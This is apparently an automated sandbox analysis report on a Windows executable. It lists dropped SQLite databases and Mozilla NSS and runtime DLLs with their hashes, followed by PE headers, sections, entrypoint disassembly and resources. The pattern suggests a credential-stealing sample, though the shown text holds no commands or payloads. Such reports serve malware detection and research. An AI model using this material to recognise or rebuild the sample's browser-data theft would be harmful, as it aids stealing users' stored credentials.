File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 2, database pages 25, cookie 0x10, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	0.8118330999829729
Encrypted:	false
SSDEEP:	96:/WtihQKLPeymwHCn8MouOFlWSHRmvlGNxut2ke:/Y0LHG7qHslGNx3
MD5:	066E1A9804AD57076FA92B00D773CDC0
SHA1:	FC9C1E0F8D28F9B69150B5E462A8F9E4504B4578
SHA-256:	64F215F7997D7B368586988808CC8BC9A9DCF8CED6E9EB648917BC2FDA453CFD
SHA-512:	71162B591EAE3C1A07F7F15079053560E5CD232A8A5BF300F3BD5A31BF1BA69B7158848EC69F4F1BDE1516B1FF161A6341A1C016DE81795EDB1E35512BF618D7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................f.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\52766014303501464703169876

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 11, database pages 8, 1st free page 8, free pages 1, cookie 0x4, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	2.7230981948383226
Encrypted:	false
SSDEEP:	96:z7NwCzfH7s05cCsdsYMu05V+k9w0kI0kIFR8Au7k0Z6nu0cfG0GC+6isqlkus40w:HuyHjgMJuY6u0JRlWNNBDqD/
MD5:	56A0DB5DFC56C74D2657D5C579DE93CE
SHA1:	ACC535D924463C4710805BAF65188169684EE3E6
SHA-256:	52C44B402FAD0B7D0AE2F90007D170CB24D3D327E49061267444A119926F7DFA
SHA-512:	75321A07514D68F515C78C5395215BF00C5DFF5060F9C33FCD30D66EBE146245AA6DFFD8BCAE8747AD09D7B34630DA723A9EBB0539E1DA9A013E12499B5CEC53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K..........g.....8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\59242670612831660624168672

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, page size 2048, file counter 6, database pages 53, cookie 0x22, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	110592
Entropy (8bit):	1.103154063201814
Encrypted:	false
SSDEEP:	192:GLKnLLJFXH92HbG9mTjwnWxDnP1r6TVum:CKXJF392OnsDnRyVum
MD5:	A7888E78317DB24AF1E57A1E76360A05
SHA1:	350BC0A9A062F2290D8E41D17CACE4B49833918C
SHA-256:	34553CD7235802E2D02A4B1614D4C468E220377771CC7CB1A3F4D89580158534
SHA-512:	B705C5B67A2B294EB2951D19863F1FA729CE560C00378509D52AFDCBFAB824D754E32B013AB1318C17E9BC66B584471BFC01362A2BD3002AB3C388336ECD03BA
Malicious:	false
Preview:	SQLite format 3......@ .......5..........."......................................................K............*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\60379239670748708072323449

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, page size 2048, file counter 7, database pages 57, cookie 0x30, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	1.202433056168029
Encrypted:	false
SSDEEP:	192:8mEcY8dBLH95TkVb39nJnieheVuKht6jTAs5u:8JcYiBz9EJnieheVuK7u0s8
MD5:	1D1D49B9691A566CD1923A0929480A3D
SHA1:	93976FCE24A3C1F8ECED9E2516BD775215AA5834
SHA-256:	FE23175F9F3E20359907D9A10FC3A7210F4D60096EA38A1AD2CBC86AAE015ABC
SHA-512:	3B6B31D164CB51C9B6740D82BEA21EB66E30B7E7AF0672B0AB1A7C860FB9FA81D7FFC651BE93BDD5AC76AE4191C6C3402F835F8D6FA807ECF005EA5CE6A856D3
Malicious:	false
Preview:	SQLite format 3......@ .......9...........0......................................................f............6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\77364074545019038892817732

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 74, last written using SQLite version 3041002, page size 32768, writer version 2, read version 2, file counter 3, database pages 52, 1st free page 43, free pages 8, cookie 0x3c, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.039925776426730376
Encrypted:	false
SSDEEP:	192:itgVHwkYjcoBMc54tp9JWGDhIP5zZR38S3Z75pFh0:itgVHwVTBMc5IkG9Wf3z3Z75
MD5:	B9ABE44D5E5C8FF32C4A4F7C00354D61
SHA1:	585A3DD6093C2CE42305D39246CE8AF5508C4CC0
SHA-256:	F653A7A2AEF36FA73325DAB81A55D6118DF33713846E3931B5440FCF366686F6
SHA-512:	1F65EB719242A94E00D829D93B69B0874933BFD8C7B90053558A1187A3B7099B89E7F973E84177718BC03AD9E7DD2FB9B91F118A5E27B2BBBB990FD66315FA0B
Malicious:	false
Preview:	SQLite format 3......@ .......4...+.......<...................J..................................f..[R.+Yq.d@..a.\|.\|>{.{cz.zky.Yqx.x.w.v.wJu't>t.s.sLr.r:q.p.q\|p.o.o.o.m.mQl.kok.g.g#f.egf!Z.Zya]ZyZyZyZyZyZyZyZy......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\77364074545019038892817732-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\93702365600485792059963927

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3034000, file counter 5, database pages 29, cookie 0x16, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.8330799750773747
Encrypted:	false
SSDEEP:	192:5A6DwbHq260V37/+bDo3irhnydVj3XBBE3uEUM:5AvHMi37wU3iVy/BBE3ulM
MD5:	5B8792E38274088A888A41F4AE3709EB
SHA1:	102DCDBAF4DDB1E3E37859EC1EDD1C788D75AF11
SHA-256:	090F856C8BD32598418336550AE669A11D44B9498FD7DDA794460D8B08F55515
SHA-512:	5B57092076CAFDECE39018B47DC6899F4D4F53E3EFD710AB471B00E0DE477E26868145C389E6841A5AC7840F9968FABF97AA5459520F51C6EA36EC71C8E089C5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................K.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\98279768849475661070206458

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3041002, file counter 14, database pages 22, 1st free page 6, free pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	3.5602851208577553
Encrypted:	false
SSDEEP:	768:Tanu5W7bpb5dOkhZM0a0SY+Oqa2XZvMYqVc:4u5W7ZXP3a0SY+Od2J0YOc
MD5:	B04B4FB2B7BD981A8698F42E5EA48FDE
SHA1:	5BE8B2A3F95D8B87726465937FBACD576443FA83
SHA-256:	D9D557C4E05A16DA0AFC2BDA66610256BA39A75746958FFF5F4A10DBC028ABC3
SHA-512:	03D7B867743C5142A164C47482863E7AFB1E4636A15476D175C3F7003D504EDEFAAB3687E47A0C8B052E233966CC6779F7B4B5C530B02DABF24399E86A59CEE8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................f.......f..g...f......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: OvtmYS2gjc.exe, Detection: malicious, Browse Filename: SYhG3acOR9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: V6MYxI3w7I.exe, Detection: malicious, Browse Filename: UHmuY0rk3K.exe, Detection: malicious, Browse Filename: fx_4.7.3.exe, Detection: malicious, Browse Filename: fx_7.4.1.exe, Detection: malicious, Browse Filename: 137L8qCnGk.exe, Detection: malicious, Browse Filename: 0acR8HLrwO.exe, Detection: malicious, Browse Filename: ChatGPT_3.1.48.exe, Detection: malicious, Browse Filename: file_resized.exe, Detection: malicious, Browse Filename: malware.exe, Detection: malicious, Browse Filename: J9TgDYgZTm.msi, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: am82bSh54P.msi, Detection: malicious, Browse Filename: 5vFmrtS9Q3.msi, Detection: malicious, Browse Filename: wvleLeMUMz.msi, Detection: malicious, Browse Filename: f3ozLXh4qy.msi, Detection: malicious, Browse Filename: synapse3.zip, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.835147897989796
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	467'456 bytes
MD5:	bf81661814944b92da689f1c461ef908
SHA1:	7e3235d7ce69217063f53840e6337633cc721ec7
SHA256:	a524fce6eb4ee25ed07de294220d9c2445090b6c18b48802219149162152fea1
SHA512:	0cd9c1bc55c398240c8f7214d2928684de8ddc84d208327f5ec1905956421eaf63a2c8a98223a6e8d57780d57f13698162c1e7cc7cc54f76a8bf0a3870b2aa6a
SSDEEP:	6144:WWcIRLTO5mqX94gHnlqzeI+Dv73D7yAACFNs3/Aw/OzcGzVN:0IRLTRC94gH8zeTb7T7yNCrs3IzzcU
TLSH:	66A49D0352A1BC61E5264B729F1FC6F8BA1DF570BD897B663318AA6F04B01B3C663741
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]typ...#...#...#.G.#...#.G.#/..#.G.#...#>.l#...#...#d..#.G.#...#.G.#...#.G.#...#Rich...#........................PE..L....t.b...

File Icon


Icon Hash:	5145494905514509

Static PE Info

General

Entrypoint:	0x4086fc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62C474C5 [Tue Jul 5 17:28:37 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2f69518aa1d8a1d2ce824b07104b5c0f

Entrypoint Preview

Instruction
call 00007F3728BD1041h
jmp 00007F3728BC965Dh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
xor ecx, ecx
cmp eax, dword ptr [0044E0F8h+ecx*8]
je 00007F3728BC97F5h
inc ecx
cmp ecx, 2Dh
jc 00007F3728BC97D3h
lea ecx, dword ptr [eax-13h]
cmp ecx, 11h
jnbe 00007F3728BC97F0h
push 0000000Dh
pop eax
pop ebp
ret
mov eax, dword ptr [0044E0FCh+ecx*8]
pop ebp
ret
add eax, FFFFFF44h
push 0000000Eh
pop ecx
cmp ecx, eax
sbb eax, eax
and eax, ecx
add eax, 08h
pop ebp
ret
call 00007F3728BCE8C5h
test eax, eax
jne 00007F3728BC97E8h
mov eax, 0044E260h
ret
add eax, 08h
ret
call 00007F3728BCE8B2h
test eax, eax
jne 00007F3728BC97E8h
mov eax, 0044E264h
ret
add eax, 0Ch
ret
mov edi, edi
push ebp
mov ebp, esp
push esi
call 00007F3728BC97C7h
mov ecx, dword ptr [ebp+08h]
push ecx
mov dword ptr [eax], ecx
call 00007F3728BC9767h
pop ecx
mov esi, eax
call 00007F3728BC97A1h
mov dword ptr [eax], esi
pop esi
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 4Ch
mov eax, dword ptr [0044E270h]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
xor ebx, ebx
push esi
mov esi, dword ptr [ebp+08h]
push edi
mov dword ptr [ebp-2Ch], ebx
mov dword ptr [ebp-1Ch], ebx
mov dword ptr [ebp-20h], ebx
mov dword ptr [ebp-28h], ebx
mov dword ptr [ebp-24h], ebx
mov dword ptr [ebp-4Ch], esi
mov dword ptr [ebp-48h], ebx
cmp dword ptr [esi+14h], ebx

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[C++] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d52c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x203d000	0x17958	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2055000	0x1394	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1220	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3bf8	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1c0	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4cf90	0x4d000	False	0.8349419135551948	data	7.723744016228705	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4e000	0x1fee8c4	0x2200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x203d000	0x17958	0x17a00	False	0.36691881613756616	data	4.176871845508122	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2055000	0xb034	0xb200	False	0.0936402738764045	data	1.1823194980378087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x20521d8	0xe	data	Punjabi	Pakistan	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521d8	0xe	data	Punjabi	India	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521e8	0xe	data	Punjabi	Pakistan	1.5714285714285714
AFX_DIALOG_LAYOUT	0x20521e8	0xe	data	Punjabi	India	1.5714285714285714
RT_CURSOR	0x20521f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.27238805970149255
RT_CURSOR	0x20521f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.27238805970149255
RT_CURSOR	0x20530a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.375
RT_CURSOR	0x20530a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.375
RT_CURSOR	0x2053948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.5057803468208093
RT_CURSOR	0x2053948	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.5057803468208093
RT_ICON	0x203d7a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.35767590618336886
RT_ICON	0x203d7a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.35767590618336886
RT_ICON	0x203e648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.4760830324909747
RT_ICON	0x203e648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.4760830324909747
RT_ICON	0x203eef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.4645228215767635
RT_ICON	0x203eef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.4645228215767635
RT_ICON	0x2041498	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.4704502814258912
RT_ICON	0x2041498	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.4704502814258912
RT_ICON	0x2042540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.49645390070921985
RT_ICON	0x2042540	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.49645390070921985
RT_ICON	0x20429f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.41647465437788017
RT_ICON	0x20429f8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.41647465437788017
RT_ICON	0x20430c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.26441908713692946
RT_ICON	0x20430c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.26441908713692946
RT_ICON	0x2045668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.324468085106383
RT_ICON	0x2045668	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.324468085106383
RT_ICON	0x2045b00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	Pakistan	0.37100213219616207
RT_ICON	0x2045b00	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Punjabi	India	0.37100213219616207
RT_ICON	0x20469a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	Pakistan	0.45306859205776173
RT_ICON	0x20469a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Punjabi	India	0.45306859205776173
RT_ICON	0x2047250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	Pakistan	0.4539170506912442
RT_ICON	0x2047250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Punjabi	India	0.4539170506912442
RT_ICON	0x2047918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	Pakistan	0.4515895953757225
RT_ICON	0x2047918	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Punjabi	India	0.4515895953757225
RT_ICON	0x2047e80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	Pakistan	0.26950207468879667
RT_ICON	0x2047e80	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Punjabi	India	0.26950207468879667
RT_ICON	0x204a428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	Pakistan	0.3058161350844278
RT_ICON	0x204a428	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Punjabi	India	0.3058161350844278
RT_ICON	0x204b4d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	Pakistan	0.3617021276595745
RT_ICON	0x204b4d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Punjabi	India	0.3617021276595745
RT_ICON	0x204b9a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	Pakistan	0.5191897654584222
RT_ICON	0x204b9a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Punjabi	India	0.5191897654584222
RT_ICON	0x204c848	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	Pakistan	0.5085740072202166
RT_ICON	0x204c848	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Punjabi	India	0.5085740072202166
RT_ICON	0x204d0f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	Pakistan	0.45622119815668205
RT_ICON	0x204d0f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Punjabi	India	0.45622119815668205
RT_ICON	0x204d7b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Punjabi	Pakistan	0.4761560693641618
